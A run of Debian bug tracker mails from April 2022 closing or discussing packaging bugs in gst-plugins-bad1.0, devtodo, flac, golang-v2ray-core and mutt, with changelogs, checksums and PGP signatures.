Bug#1009721: marked as done (gst-plugins-bad1.0 build-depends on obsolete package.)
Your message dated Wed, 27 Apr 2022 10:03:50 + with message-id and subject line Bug#1009721: fixed in gst-plugins-bad1.0 1.20.1-2 has caused the Debian Bug report #1009721, regarding gst-plugins-bad1.0 build-depends on obsolete package. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009721: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009721 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: gst-plugins-bad1.0 Version: 1.20.1-1 Severity: serious Justification: rc policy - "packages must be buildable within the same release" gst-plugins-bad1.0 build-depends on libwpewebkit-1.0-dev which is no longer built by the wpewebkit source package. It is still present in unstable as a cruft package but is completely gone from testing. --- End Message --- --- Begin Message --- Source: gst-plugins-bad1.0 Source-Version: 1.20.1-2 Done: Sebastian Dröge We believe that the bug you reported is fixed in the latest version of gst-plugins-bad1.0, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1009...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Sebastian Dröge (supplier of updated gst-plugins-bad1.0 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Wed, 27 Apr 2022 12:27:17 +0300 Source: gst-plugins-bad1.0 Architecture: source Version: 1.20.1-2 Distribution: unstable Urgency: medium Maintainer: Maintainers of GStreamer packages Changed-By: Sebastian Dröge Closes: 1009721 Changes: gst-plugins-bad1.0 (1.20.1-2) unstable; urgency=medium . * debian/control: + Switch to wpewebkit 1.1 (Closes: #1009721). Checksums-Sha1: 53440f3a76b8f5775647b46d0443afb7bcd39663 5930 gst-plugins-bad1.0_1.20.1-2.dsc 98979335b57a77febe811c803910df902f455a99 31164 gst-plugins-bad1.0_1.20.1-2.debian.tar.xz 0c32c6445ecf1e08a6d27236e2c82b3676fc5b7c 34339 gst-plugins-bad1.0_1.20.1-2_amd64.buildinfo Checksums-Sha256: 969e947a4996ece079bc127a1b3dff072e09a590bbf4bf032fb2a08b5b409998 5930 gst-plugins-bad1.0_1.20.1-2.dsc 1757b5c81ee9f1a1004efd2bfdb4b1f9216aea0f83052b427d18562c1ba67649 31164 gst-plugins-bad1.0_1.20.1-2.debian.tar.xz 39e7c9158e08d2a3d8b0a74e1616e0ce5fc9eccb7403fea7d3e67c3084d4e2df 34339 gst-plugins-bad1.0_1.20.1-2_amd64.buildinfo Files: d9363746d8fd6317c904a2d3d3149a15 5930 libs optional gst-plugins-bad1.0_1.20.1-2.dsc ec201e352153992488931104f361050b 31164 libs optional gst-plugins-bad1.0_1.20.1-2.debian.tar.xz d6b44ea5392718f73fd0c032c78f99fd 34339 libs optional gst-plugins-bad1.0_1.20.1-2_amd64.buildinfo -BEGIN PGP SIGNATURE- iQKmBAEBCgCQFiEEf0vHzDygb5cza7/rBmjMFIbC17UFAmJpEAFfFIAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDdG NEJDN0NDM0NBMDZGOTczMzZCQkZFQjA2NjhDQzE0ODZDMkQ3QjUSHHNsb21vQGNv YXhpb24ubmV0AAoJEAZozBSGwte1jugP/i8q369FBXn+CzetLKk2HV+SVkVxfBKC U95S4bvnvN/cRfk2y51DcGsOs7wWqFnF191XKqnaQ9rmovJvf/0NhnnQUel108mj In08/QypVfriiSMA8ZK0oWIcKpRP+tEAqIUP1jQyqC1lb3UH9Yk1tIpSOY7E+VDL ZKN3F0VB6Qn1/nrbwiWneFVuJ4haLgSsuNEJ+nHEtjMdIvAi2qH8vdkzYaeks2bI ahRRPfflY3m58cXRB7qX51icro9u04HHuYKPzIUHcgvvJXEoWE8jPXAoVxiHmvV2 rpIBL92ZfyZiNLzIMD2Xb+gVoZTwqYE2LM4XmvxzjQoupGa9EKnhV2EtGIDGP5yT LSQc98jYT1syOZRojzp+QTgkdf/3S6bVd7oeo2SfooV6IzHFBlAWhkMvnxJMwjef RdEgDyDU6/6weumhY8FlnxGP1s/9pFdWBNiSj92uSOq3zgsPaOWWNtnaqYZu6PpU VqIYUBdNUobh+zWdFZ1P5vBcVoJa1MHmk613liDsvJhC6bWWaIv+l7CvmdaQKdGD hopY9ppmYIUgBa2dtwcBr2wCPi5HUQHlph1ilbOWXzmdwwFf4YN4MBCEG7221F6j XS7pKqPNn90u0USu8EVco06wysYxVOMooCMYdG8se5LpFeI9TsjttLQ4n3dVwQJW d4yHxXTJzpP+ =bvIb -END PGP SIGNATURE End Message ---
Bug#979101: Legally problematic GPL-3+ readline dependency
On Mon, 18 Oct 2021 14:17:22 -0300 Carlos Henrique Lima Melara wrote: Hi, Bastian. On Tue, Oct 12, 2021 at 12:44:18PM +0200, Bastian Germann wrote: > I see that upstream included your patch to deal with this. Can you please > include that in the package and change the build dependency? I am happy to > sponsor the new revision. Thanks for the offer and I'll take it, but I'd like to wait a bit because my patch solved the dependency and also broke the autocompletion of the package. Turns out the libedit compatibility layer has some bugs, I've already reported one and it was fixed by the developers, but I need some time to test the behaviour of devtodo after the fix. Maybe I'll be able to do that next weekend, but I don't think we'll have time to upload a new version before the 27th of October deadline. > Thanks, > Bastian Cheers, Carlos (a.k.a. Charles) Any news on this?
Processed: tagging 1008424
Processing commands for cont...@bugs.debian.org: > tags 1008424 + fixed-upstream Bug #1008424 [src:flac] flac 1.3.4 makes audiofile FTBFS Added tag(s) fixed-upstream. > thanks Stopping processing here. Please contact me if you need assistance. -- 1008424: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008424 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1008445: marked as done (golang-v2ray-core: FTBFS: src/github.com/lucas-clemente/quic-go/internal/qtls/go118.go:13:2: cannot find package "github.com/marten-seemann/qtls-go1-18" in any of:)
Your message dated Wed, 27 Apr 2022 10:37:25 +0200 with message-id and subject line Re: golang-v2ray-core: FTBFS: src/github.com/lucas-clemente/quic-go/internal/qtls/go118.go:13:2: cannot find package "github.com/marten-seemann/qtls-go1-18" in any of has caused the Debian Bug report #1008445, regarding golang-v2ray-core: FTBFS: src/github.com/lucas-clemente/quic-go/internal/qtls/go118.go:13:2: cannot find package "github.com/marten-seemann/qtls-go1-18" in any of: to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1008445: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1008445 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: golang-v2ray-core Version: 4.34.0-5 Severity: serious Justification: FTBFS Tags: bookworm sid ftbfs User: lu...@debian.org Usertags: ftbfs-20220326 ftbfs-bookworm Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > make[1]: Entering directory '/<>' > DH_GOPKG="v2ray.com/core/main" dh_auto_build -- -ldflags "-s -w -buildid= -X > v2ray.com/core.codename=user -X v2ray.com/core.build=20220118-150717 -X > v2ray.com/core.version=4.34.0" > cd obj-x86_64-linux-gnu && go install -trimpath -v -p 8 -ldflags "-s -w > -buildid= -X v2ray.com/core.codename=user -X > v2ray.com/core.build=20220118-150717 -X v2ray.com/core.version=4.34.0" > v2ray.com/core/main v2ray.com/core/main/confloader > v2ray.com/core/main/confloader/external v2ray.com/core/main/distro/all > v2ray.com/core/main/distro/debug v2ray.com/core/main/json > v2ray.com/core/main/jsonem > src/github.com/lucas-clemente/quic-go/internal/qtls/go118.go:13:2: cannot > find package "github.com/marten-seemann/qtls-go1-18" in any of: > /usr/lib/go-1.18/src/github.com/marten-seemann/qtls-go1-18 (from > $GOROOT) > > /<>/obj-x86_64-linux-gnu/src/github.com/marten-seemann/qtls-go1-18 > (from $GOPATH) > dh_auto_build: error: cd obj-x86_64-linux-gnu && go install -trimpath -v -p 8 > -ldflags "-s -w -buildid= -X v2ray.com/core.codename=user -X > v2ray.com/core.build=20220118-150717 -X v2ray.com/core.version=4.34.0" > v2ray.com/core/main v2ray.com/core/main/confloader > v2ray.com/core/main/confloader/external v2ray.com/core/main/distro/all > v2ray.com/core/main/distro/debug v2ray.com/core/main/json > v2ray.com/core/main/jsonem returned exit code 1 > make[1]: *** [debian/rules:31: override_dh_auto_build] Error 25 The full build log is available from: http://qa-logs.debian.net/2022/03/26/golang-v2ray-core_4.34.0-5_unstable.log A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! If you reassign this bug to another package, please marking it as 'affects'-ing this package. See https://www.debian.org/Bugs/server-control#affects If you fail to reproduce this, please provide a build log and diff it with mine so that we can identify if something relevant changed in the meantime. --- End Message --- --- Begin Message --- On 27/04/22 at 07:09 +0800, Ying-Chun Liu (PaulLiu) wrote: > Hi Lucas, > > > I cannot reproduce this bug. Is this test be re-tested or will it be tested > periodically? > > I've tried to build it by pbuilder using sid chroot. It builds well. > Build log is as attachment. Hi, I confirm that it builds fine now. Lucas--- End Message ---
Bug#999672: marked as done (mutt: license conflict with libsasl2)
Your message dated Wed, 27 Apr 2022 08:23:22 + with message-id and subject line Bug#999672: fixed in mutt 2.2.3-2 has caused the Debian Bug report #999672, regarding mutt: license conflict with libsasl2 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 999672: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=999672 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: mutt Version: 2.0.5-4.1 Severity: important Hi, mutt depends on libsasl2-2, which is licensed under CMU's BSD-4-clause license and covered by the RSA-MD and OpenSSL licenses. All of them have an advertisement clause in place, which is known to be incompatible with GPL. There are several possible solutions to this problem: 1) Build without SASL support. 2) Support my request at #996892. 3) Ask upstream to add a license exception for libsasl2-2, similar to the one that was required by Debian for OpenSSL for a long time. Thanks for your consideration, Bastian --- End Message --- --- Begin Message --- Source: mutt Source-Version: 2.2.3-2 Done: Antonio Radici We believe that the bug you reported is fixed in the latest version of mutt, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 999...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Antonio Radici (supplier of updated mutt package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 27 Apr 2022 09:52:31 +0200 Source: mutt Architecture: source Version: 2.2.3-2 Distribution: unstable Urgency: medium Maintainer: Mutt maintainers Changed-By: Antonio Radici Closes: 999672 Changes: mutt (2.2.3-2) unstable; urgency=medium . * Replace cyrus-sasl with gsasl (Closes: #999672) + patch provided by Bastian Germann (). Checksums-Sha1: 586f66e1732d02c083af5a33996cbabf504ec78b 2309 mutt_2.2.3-2.dsc 8c35dc3d9e011920a709aebb7c4da5947302221f 61488 mutt_2.2.3-2.debian.tar.xz 0b2a21b57b3d1d61c74b2c004d0056b8b1f9e672 8296 mutt_2.2.3-2_amd64.buildinfo Checksums-Sha256: 942e95b8d34c7521bcd68e7e659af4bafe5a5e0269438f813267255781bd2273 2309 mutt_2.2.3-2.dsc c2d6680a8791ccd1ddb614550aa81448086ccb7d282591e53f1c6497a51951fc 61488 mutt_2.2.3-2.debian.tar.xz 5b3bcc4f88b8c88c97c52fd8d44c041d098d2555bd1e74415b7b871d2ca23215 8296 mutt_2.2.3-2_amd64.buildinfo Files: 7ae12c65cab5014a42085124d4c3edb7 2309 mail optional mutt_2.2.3-2.dsc ead093db60e05da00226b1aac81bacc3 61488 mail optional mutt_2.2.3-2.debian.tar.xz aa3ecff66d4379ec69e5f6ed9469fd9c 8296 mail optional mutt_2.2.3-2_amd64.buildinfo -BEGIN PGP SIGNATURE- iQJHBAEBCAAxFiEEQObYrBkA1SRrfOa1NcjIiHLLHu0FAmJo+VYTHGFudG9uaW9A ZGViaWFuLm9yZwAKCRA1yMiIcsse7atcD/9jW3bUZNX0rzW/UW1SYPolCMzA0WcM cJnfSBnIiTxXy7ru/zGHQjLv/qGMFn5vv4zwQoMv3oMKlsss8RmQYtdxWmRw1nBT oakF7mmOqbJSMQZoui+6bBHZcESmTTQt06jOQJYqWepIV0KUfcHvAREPYgFoOlvK KRvpe8BQ594Gt9ugA6agxwm2SSe+jcmVBVIYruYM4ItOaq+tGigVzJV9iNIpCmsX fVWxbIPCy8g9BytafRKiozaD+2NJ0SqTJw8P4TQeDhNiNjHoi5SAQueK/JTHa1+n vLqrLPHJHRvn4nPeudkmG8kv4A+QZu5cVGbDzqn0qCy4xWh6x0j0U9xOUl+l4fhO /GldPGk4Pl6qzkzgSWEPbyiBlpf4IUF5EziazP9QPQCr2imFDVOo31ItVIntwS9M 0yBH55FVQGNvecmeF447Wt1JyuEc3SHlF8BRfs6i+HLZwe9Mts3OHwOvEvq/STFT U0KlTiYWukiIdjMGGH8HPwQrQLUnNCWA1RC5mzEt9tV2Lz8ATQaCJeBiXfQQ6GEx 9BFSAMAXjJsQqZ69KtYwpzPGpMq9ZnDcBhlI5lSOCjLa2SEfpiNWWT8MwVxG4ijo 6An0dOe4yLL7Y0BYBLDGKNKplg7yXpc3DfM36Pal916yfhEojOQWBCF/yMOxWivD wBJnG8wi178D2g== =uN4G -END PGP SIGNATURE End Message ---
